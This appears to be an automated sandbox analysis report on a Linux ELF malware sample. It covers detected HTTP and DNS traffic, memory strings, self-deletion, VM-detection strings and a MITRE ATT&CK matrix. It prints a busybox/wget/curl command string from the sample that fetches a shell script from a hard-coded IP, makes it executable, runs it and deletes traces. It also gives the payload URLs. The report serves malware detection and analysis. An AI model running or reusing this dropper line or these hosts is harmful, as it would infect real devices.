Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.13.5Date: Fri, 04 Nov 2022 23:26:56 GMTContent-Type: text/htmlContent-Length: 169Connection: closeX-Trace-ID: 8c02d07f1e7b0d01dda4b627df685bf5ntes-trace-id: c2a0cb5a93df333f:c2a0cb5a93df333f:0:1Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.13.5</center></body></html>

Source: 7r792pU6AE.elf	String found in binary or memory: http://45.95.55.21/adb/adb.sh;
Source: 7r792pU6AE.elf	String found in binary or memory: http://45.95.55.214/adb/adb.sh

Source: unknown

DNS traffic detected: queries for: barbershoppp.com

Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.Data Raw: Data Ascii:

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: cd /data/local/tmp; busybox wget http://45.95.55.214/adb/adb.sh -O -> vzwxz; chmod 777 vzwxz; sh vzwxz; curl -O http://45.95.55.21/adb/adb.sh; cat wget.sh > adb; chmod 777 adb; sh adb; rm -rf vzwxz adb

Source: classification engine

Classification label: mal60.spre.troj.evad.linELF@0/53@35/0

Source: /usr/sbin/invoke-rc.d (PID: 6272)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6276)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6280)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Source: /usr/sbin/logrotate (PID: 6269)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6278)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/7r792pU6AE.elf (PID: 6290)

File: /tmp/7r792pU6AE.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 55382
Source: unknown	Network traffic detected: HTTP traffic on port 48966 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 8088 -> 48966
Source: unknown	Network traffic detected: HTTP traffic on port 41708 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41802 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 41580 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 41580
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 47622 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 57312 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 57312
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 9001

Source: /usr/bin/find (PID: 6261)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/7r792pU6AE.elf (PID: 6290)	Queries kernel information via 'uname':			Jump to behavior

Source: /usr/sbin/logrotate (PID: 6205)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6205)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 6273.22.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 6273.22.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6273.22.dr	Binary or memory string: qemu-or1k
Source: 6273.22.dr	Binary or memory string: qemu-riscv64
Source: 6273.22.dr	Binary or memory string: {cqemu
Source: 6273.22.dr	Binary or memory string: qemu-arm
Source: 6273.22.dr	Binary or memory string: (qemu
Source: 6273.22.dr	Binary or memory string: qemu-tilegx
Source: 6273.22.dr	Binary or memory string: qemu-hppa
Source: 6273.22.dr	Binary or memory string: q{rqemu%
Source: 6273.22.dr	Binary or memory string: )qemu
Source: 6273.22.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6273.22.dr	Binary or memory string: qemu-ppc
Source: 6273.22.dr	Binary or memory string: Tqemu9
Source: 7r792pU6AE.elf, 6290.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6292.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6294.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6314.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6316.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6320.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6326.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6340.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6361.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6380.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6384.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6386.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6394.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6401.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6411.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6422.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/7r792pU6AE.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/7r792pU6AE.elf
Source: 6273.22.dr	Binary or memory string: qemu-aarch64_be
Source: 6273.22.dr	Binary or memory string: 0qemu9
Source: 6273.22.dr	Binary or memory string: qemu-sparc64
Source: 6273.22.dr	Binary or memory string: qemu-mips64
Source: 6273.22.dr	Binary or memory string: vV:qemu9
Source: 6273.22.dr	Binary or memory string: qemu-ppc64le
Source: 6273.22.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6273.22.dr	Binary or memory string: vmware
Source: 6273.22.dr	Binary or memory string: qemu-cris
Source: 6273.22.dr	Binary or memory string: libvmtools
Source: 6273.22.dr	Binary or memory string: qemu-m68k
Source: 6273.22.dr	Binary or memory string: qemu-xtensa
Source: 6273.22.dr	Binary or memory string: 9qemu
Source: 6273.22.dr	Binary or memory string: qemu-sh4
Source: 6273.22.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 6273.22.dr	Binary or memory string: .qemu{
Source: 6273.22.dr	Binary or memory string: qemu-ppc64abi32
Source: 6273.22.dr	Binary or memory string: qemu-ppc64
Source: 6273.22.dr	Binary or memory string: qemu-i386
Source: 6273.22.dr	Binary or memory string: qemu-x86_64
Source: 6273.22.dr	Binary or memory string: H~6\nqemu*q
Source: 7r792pU6AE.elf, 6290.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6292.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6294.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6314.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6316.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6320.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6326.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6340.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6361.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6380.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6384.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6386.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6394.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6401.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6411.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6422.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: 6273.22.dr	Binary or memory string: @qemu
Source: 6273.22.dr	Binary or memory string: Fqqemu
Source: 6273.22.dr	Binary or memory string: N4qemu
Source: 6273.22.dr	Binary or memory string: ~6\nqemu*q
Source: 6273.22.dr	Binary or memory string: qemu-mips64el
Source: 6273.22.dr	Binary or memory string: hqemu
Source: 6273.22.dr	Binary or memory string: &mqemu
Source: 6273.22.dr	Binary or memory string: $qemu
Source: 6273.22.dr	Binary or memory string: qemu-sparc
Source: 6273.22.dr	Binary or memory string: qemu-microblaze
Source: 6273.22.dr	Binary or memory string: qemu-user
Source: 6273.22.dr	Binary or memory string: qemu-aarch64
Source: 6273.22.dr	Binary or memory string: qemu-sh4eb
Source: 6273.22.dr	Binary or memory string: iqemu
Source: 6273.22.dr	Binary or memory string: qemu-mipsel
Source: 6273.22.dr	Binary or memory string: qemuP`
Source: 6273.22.dr	Binary or memory string: qemu-alpha
Source: 6273.22.dr	Binary or memory string: qemu-microblazeel
Source: 6273.22.dr	Binary or memory string: \qemu
Source: 6273.22.dr	Binary or memory string: qemu-xtensaeb
Source: 6273.22.dr	Binary or memory string: qemu-mipsn32el
Source: 6273.22.dr	Binary or memory string: SAqemu
Source: 6273.22.dr	Binary or memory string: Vqemu
Source: 6273.22.dr	Binary or memory string: qemu-mipsn32
Source: 6273.22.dr	Binary or memory string: qemuAU
Source: 6273.22.dr	Binary or memory string: qemu-riscv32
Source: 6273.22.dr	Binary or memory string: qemu-sparc32plus
Source: 6273.22.dr	Binary or memory string: 7,qemu
Source: 6273.22.dr	Binary or memory string: qemu-s390x
Source: 7r792pU6AE.elf, 6290.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6292.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6294.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6314.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6316.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6320.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6326.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6340.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6361.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6380.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6384.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6386.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6394.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6401.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6411.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp, 7r792pU6AE.elf, 6422.1.0000560c1c5de000.0000560c1c665000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: 6273.22.dr	Binary or memory string: vmware-checkvm
Source: 6273.22.dr	Binary or memory string: qemu-nios2
Source: 7r792pU6AE.elf, 6290.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6292.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6294.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6314.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6316.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6320.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6326.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6340.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6361.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6380.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6384.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6386.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6394.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6401.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6411.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp, 7r792pU6AE.elf, 6422.1.00007ffff9cca000.00007ffff9ceb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: 6273.22.dr	Binary or memory string: qemu-armeb
Source: 6273.22.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6273.22.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6273.22.dr	Binary or memory string: I_qemu
Source: 6273.22.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 6273.22.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 6273.22.dr	Binary or memory string: qemu-mips
Source: 6273.22.dr	Binary or memory string: qemuj\
Source: 6273.22.dr	Binary or memory string: {qemuQ&
Source: 6273.22.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 6273.22.dr	Binary or memory string: vmware-xferlogs

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Scripting	1 Systemd Service	1 Systemd Service	11 Scripting	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal on Host	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
